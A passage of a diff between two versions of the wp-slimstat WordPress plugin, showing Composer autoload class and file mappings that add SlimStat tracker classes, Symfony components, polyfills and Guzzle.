. '\u002Fsrc\u002FServices\u002FPrivacy\u002FDataExporter.php',\n+    'SlimStat\\\\Tracker\\\\Ajax' => $baseDir . '\u002Fsrc\u002FTracker\u002FAjax.php',\n+    'SlimStat\\\\Tracker\\\\Processor' => $baseDir . '\u002Fsrc\u002FTracker\u002FProcessor.php',\n+    'SlimStat\\\\Tracker\\\\Routing' => $baseDir . '\u002Fsrc\u002FTracker\u002FRouting.php',\n+    'SlimStat\\\\Tracker\\\\Session' => $baseDir . '\u002Fsrc\u002FTracker\u002FSession.php',\n+    'SlimStat\\\\Tracker\\\\Storage' => $baseDir . '\u002Fsrc\u002FTracker\u002FStorage.php',\n+    'SlimStat\\\\Tracker\\\\Tracker' => $baseDir . '\u002Fsrc\u002FTracker\u002FTracker.php',\n+    'SlimStat\\\\Tracker\\\\Utils' => $baseDir . '\u002Fsrc\u002FTracker\u002FUtils.php',\n+    'SlimStat\\\\Utils\\\\Consent' => $baseDir . '\u002Fsrc\u002FUtils\u002FConsent.php',\n+    'SlimStat\\\\Utils\\\\Query' => $baseDir . '\u002Fsrc\u002FUtils\u002FQuery.php',\n+    'SlimStat\\\\Utils\\\\Request' => $baseDir . '\u002Fsrc\u002FUtils\u002FRequest.php',\n     'SlimStat\\\\Utils\\\\UADetector' => $baseDir . '\u002Fsrc\u002FUtils\u002FUADetector.php',\n+    'Stringable' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FStringable.php',\n+    'Symfony\\\\Component\\\\Console\\\\Application' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FApplication.php',\n+    'Symfony\\\\Component\\\\Console\\\\Attribute\\\\AsCommand' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FAttribute\u002FAsCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\CI\\\\GithubActionReporter' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCI\u002FGithubActionReporter.php',\n+    'Symfony\\\\Component\\\\Console\\\\Color' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FColor.php',\n+    'Symfony\\\\Component\\\\Console\\\\CommandLoader\\\\CommandLoaderInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommandLoader\u002FCommandLoaderInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\CommandLoader\\\\ContainerCommandLoader' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommandLoader\u002FContainerCommandLoader.php',\n+    'Symfony\\\\Component\\\\Console\\\\CommandLoader\\\\FactoryCommandLoader' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommandLoader\u002FFactoryCommandLoader.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\Command' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\CompleteCommand' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FCompleteCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\DumpCompletionCommand' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FDumpCompletionCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\HelpCommand' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FHelpCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\LazyCommand' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FLazyCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\ListCommand' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FListCommand.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\LockableTrait' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FLockableTrait.php',\n+    'Symfony\\\\Component\\\\Console\\\\Command\\\\SignalableCommandInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCommand\u002FSignalableCommandInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Completion\\\\CompletionInput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FCompletionInput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Completion\\\\CompletionSuggestions' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FCompletionSuggestions.php',\n+    'Symfony\\\\Component\\\\Console\\\\Completion\\\\Output\\\\BashCompletionOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FOutput\u002FBashCompletionOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Completion\\\\Output\\\\CompletionOutputInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FOutput\u002FCompletionOutputInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Completion\\\\Suggestion' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCompletion\u002FSuggestion.php',\n+    'Symfony\\\\Component\\\\Console\\\\ConsoleEvents' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FConsoleEvents.php',\n+    'Symfony\\\\Component\\\\Console\\\\Cursor' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FCursor.php',\n+    'Symfony\\\\Component\\\\Console\\\\DependencyInjection\\\\AddConsoleCommandPass' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDependencyInjection\u002FAddConsoleCommandPass.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\ApplicationDescription' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FApplicationDescription.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\Descriptor' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FDescriptor.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\DescriptorInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FDescriptorInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\JsonDescriptor' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FJsonDescriptor.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\MarkdownDescriptor' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FMarkdownDescriptor.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\TextDescriptor' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FTextDescriptor.php',\n+    'Symfony\\\\Component\\\\Console\\\\Descriptor\\\\XmlDescriptor' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FDescriptor\u002FXmlDescriptor.php',\n+    'Symfony\\\\Component\\\\Console\\\\EventListener\\\\ErrorListener' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FEventListener\u002FErrorListener.php',\n+    'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleCommandEvent' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleCommandEvent.php',\n+    'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleErrorEvent' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleErrorEvent.php',\n+    'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleEvent' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleEvent.php',\n+    'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleSignalEvent' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleSignalEvent.php',\n+    'Symfony\\\\Component\\\\Console\\\\Event\\\\ConsoleTerminateEvent' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FEvent\u002FConsoleTerminateEvent.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\CommandNotFoundException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FCommandNotFoundException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\ExceptionInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FExceptionInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\InvalidArgumentException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FInvalidArgumentException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\InvalidOptionException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FInvalidOptionException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\LogicException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FLogicException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\MissingInputException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FMissingInputException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\NamespaceNotFoundException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FNamespaceNotFoundException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Exception\\\\RuntimeException' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FException\u002FRuntimeException.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\NullOutputFormatter' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FNullOutputFormatter.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\NullOutputFormatterStyle' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FNullOutputFormatterStyle.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatter' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatter.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterStyle' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterStyle.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterStyleInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterStyleInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\OutputFormatterStyleStack' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FOutputFormatterStyleStack.php',\n+    'Symfony\\\\Component\\\\Console\\\\Formatter\\\\WrappableOutputFormatterInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FFormatter\u002FWrappableOutputFormatterInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\DebugFormatterHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FDebugFormatterHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\DescriptorHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FDescriptorHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\Dumper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FDumper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\FormatterHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FFormatterHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\Helper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\HelperInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FHelperInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\HelperSet' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FHelperSet.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\InputAwareHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FInputAwareHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\ProcessHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FProcessHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\ProgressBar' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FProgressBar.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\ProgressIndicator' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FProgressIndicator.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\QuestionHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FQuestionHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\SymfonyQuestionHelper' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FSymfonyQuestionHelper.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\Table' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTable.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableCell' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableCell.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableCellStyle' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableCellStyle.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableRows' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableRows.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableSeparator' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableSeparator.php',\n+    'Symfony\\\\Component\\\\Console\\\\Helper\\\\TableStyle' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FHelper\u002FTableStyle.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\ArgvInput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FArgvInput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\ArrayInput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FArrayInput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\Input' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\InputArgument' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputArgument.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\InputAwareInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputAwareInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\InputDefinition' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputDefinition.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\InputInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\InputOption' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FInputOption.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\StreamableInputInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FStreamableInputInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Input\\\\StringInput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FInput\u002FStringInput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Logger\\\\ConsoleLogger' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FLogger\u002FConsoleLogger.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\BufferedOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FBufferedOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\ConsoleOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FConsoleOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\ConsoleOutputInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FConsoleOutputInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\ConsoleSectionOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FConsoleSectionOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\NullOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FNullOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\Output' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\OutputInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FOutputInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\StreamOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FStreamOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Output\\\\TrimmedBufferOutput' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FOutput\u002FTrimmedBufferOutput.php',\n+    'Symfony\\\\Component\\\\Console\\\\Question\\\\ChoiceQuestion' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FQuestion\u002FChoiceQuestion.php',\n+    'Symfony\\\\Component\\\\Console\\\\Question\\\\ConfirmationQuestion' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FQuestion\u002FConfirmationQuestion.php',\n+    'Symfony\\\\Component\\\\Console\\\\Question\\\\Question' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FQuestion\u002FQuestion.php',\n+    'Symfony\\\\Component\\\\Console\\\\SignalRegistry\\\\SignalRegistry' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FSignalRegistry\u002FSignalRegistry.php',\n+    'Symfony\\\\Component\\\\Console\\\\SingleCommandApplication' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FSingleCommandApplication.php',\n+    'Symfony\\\\Component\\\\Console\\\\Style\\\\OutputStyle' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FStyle\u002FOutputStyle.php',\n+    'Symfony\\\\Component\\\\Console\\\\Style\\\\StyleInterface' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FStyle\u002FStyleInterface.php',\n+    'Symfony\\\\Component\\\\Console\\\\Style\\\\SymfonyStyle' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FStyle\u002FSymfonyStyle.php',\n+    'Symfony\\\\Component\\\\Console\\\\Terminal' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FTerminal.php',\n+    'Symfony\\\\Component\\\\Console\\\\Tester\\\\ApplicationTester' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FTester\u002FApplicationTester.php',\n+    'Symfony\\\\Component\\\\Console\\\\Tester\\\\CommandCompletionTester' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FTester\u002FCommandCompletionTester.php',\n+    'Symfony\\\\Component\\\\Console\\\\Tester\\\\CommandTester' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FTester\u002FCommandTester.php',\n+    'Symfony\\\\Component\\\\Console\\\\Tester\\\\Constraint\\\\CommandIsSuccessful' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FTester\u002FConstraint\u002FCommandIsSuccessful.php',\n+    'Symfony\\\\Component\\\\Console\\\\Tester\\\\TesterTrait' => $vendorDir . '\u002Fsymfony\u002Fconsole\u002FTester\u002FTesterTrait.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\ExceptionInterface' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FExceptionInterface.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\FileNotFoundException' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FFileNotFoundException.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\IOException' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FIOException.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\IOExceptionInterface' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FIOExceptionInterface.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\InvalidArgumentException' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FInvalidArgumentException.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Exception\\\\RuntimeException' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FException\u002FRuntimeException.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Filesystem' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FFilesystem.php',\n+    'Symfony\\\\Component\\\\Filesystem\\\\Path' => $vendorDir . '\u002Fsymfony\u002Ffilesystem\u002FPath.php',\n+    'Symfony\\\\Component\\\\String\\\\AbstractString' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FAbstractString.php',\n+    'Symfony\\\\Component\\\\String\\\\AbstractUnicodeString' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FAbstractUnicodeString.php',\n+    'Symfony\\\\Component\\\\String\\\\ByteString' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FByteString.php',\n+    'Symfony\\\\Component\\\\String\\\\CodePointString' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FCodePointString.php',\n+    'Symfony\\\\Component\\\\String\\\\Exception\\\\ExceptionInterface' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FException\u002FExceptionInterface.php',\n+    'Symfony\\\\Component\\\\String\\\\Exception\\\\InvalidArgumentException' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FException\u002FInvalidArgumentException.php',\n+    'Symfony\\\\Component\\\\String\\\\Exception\\\\RuntimeException' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FException\u002FRuntimeException.php',\n+    'Symfony\\\\Component\\\\String\\\\Inflector\\\\EnglishInflector' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FInflector\u002FEnglishInflector.php',\n+    'Symfony\\\\Component\\\\String\\\\Inflector\\\\FrenchInflector' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FInflector\u002FFrenchInflector.php',\n+    'Symfony\\\\Component\\\\String\\\\Inflector\\\\InflectorInterface' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FInflector\u002FInflectorInterface.php',\n+    'Symfony\\\\Component\\\\String\\\\LazyString' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FLazyString.php',\n+    'Symfony\\\\Component\\\\String\\\\Slugger\\\\AsciiSlugger' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FSlugger\u002FAsciiSlugger.php',\n+    'Symfony\\\\Component\\\\String\\\\Slugger\\\\SluggerInterface' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FSlugger\u002FSluggerInterface.php',\n+    'Symfony\\\\Component\\\\String\\\\UnicodeString' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FUnicodeString.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\Attribute\\\\Required' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FAttribute\u002FRequired.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\Attribute\\\\SubscribedService' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FAttribute\u002FSubscribedService.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ResetInterface' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FResetInterface.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ServiceCollectionInterface' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FServiceCollectionInterface.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ServiceLocatorTrait' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FServiceLocatorTrait.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ServiceMethodsSubscriberTrait' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FServiceMethodsSubscriberTrait.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ServiceProviderInterface' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FServiceProviderInterface.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ServiceSubscriberInterface' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FServiceSubscriberInterface.php',\n+    'Symfony\\\\Contracts\\\\Service\\\\ServiceSubscriberTrait' => $vendorDir . '\u002Fsymfony\u002Fservice-contracts\u002FServiceSubscriberTrait.php',\n+    'Symfony\\\\Polyfill\\\\Ctype\\\\Ctype' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-ctype\u002FCtype.php',\n+    'Symfony\\\\Polyfill\\\\Intl\\\\Grapheme\\\\Grapheme' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002FGrapheme.php',\n+    'Symfony\\\\Polyfill\\\\Intl\\\\Normalizer\\\\Normalizer' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002FNormalizer.php',\n+    'Symfony\\\\Polyfill\\\\Mbstring\\\\Mbstring' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-mbstring\u002FMbstring.php',\n+    'Symfony\\\\Polyfill\\\\Php73\\\\Php73' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php73\u002FPhp73.php',\n+    'Symfony\\\\Polyfill\\\\Php80\\\\Php80' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FPhp80.php',\n+    'Symfony\\\\Polyfill\\\\Php80\\\\PhpToken' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FPhpToken.php',\n+    'UnhandledMatchError' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FUnhandledMatchError.php',\n+    'ValueError' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FValueError.php',\n );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_files.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_files.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_files.php\t2024-08-05 14:31:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_files.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -6,6 +6,14 @@\n $baseDir = dirname($vendorDir);\n \n return array(\n-    '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '\u002Fralouphie\u002Fgetallheaders\u002Fsrc\u002Fgetallheaders.php',\n     '6e3fae29631ef280660b3cdad06f25a8' => $vendorDir . '\u002Fsymfony\u002Fdeprecation-contracts\u002Ffunction.php',\n+    '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-mbstring\u002Fbootstrap.php',\n+    '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-ctype\u002Fbootstrap.php',\n+    'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002Fbootstrap.php',\n+    '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '\u002Fralouphie\u002Fgetallheaders\u002Fsrc\u002Fgetallheaders.php',\n+    '8825ede83f2f289127722d4e842cf7e8' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002Fbootstrap.php',\n+    'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002Fbootstrap.php',\n+    '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php73\u002Fbootstrap.php',\n+    'b6b991a57620e2fb6b2f66f03fe9ddc2' => $vendorDir . '\u002Fsymfony\u002Fstring\u002FResources\u002Ffunctions.php',\n+    '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002Ffunctions_include.php',\n );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_psr4.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_psr4.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_psr4.php\t2024-08-05 14:31:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_psr4.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -6,5 +6,28 @@\n $baseDir = dirname($vendorDir);\n \n return array(\n+    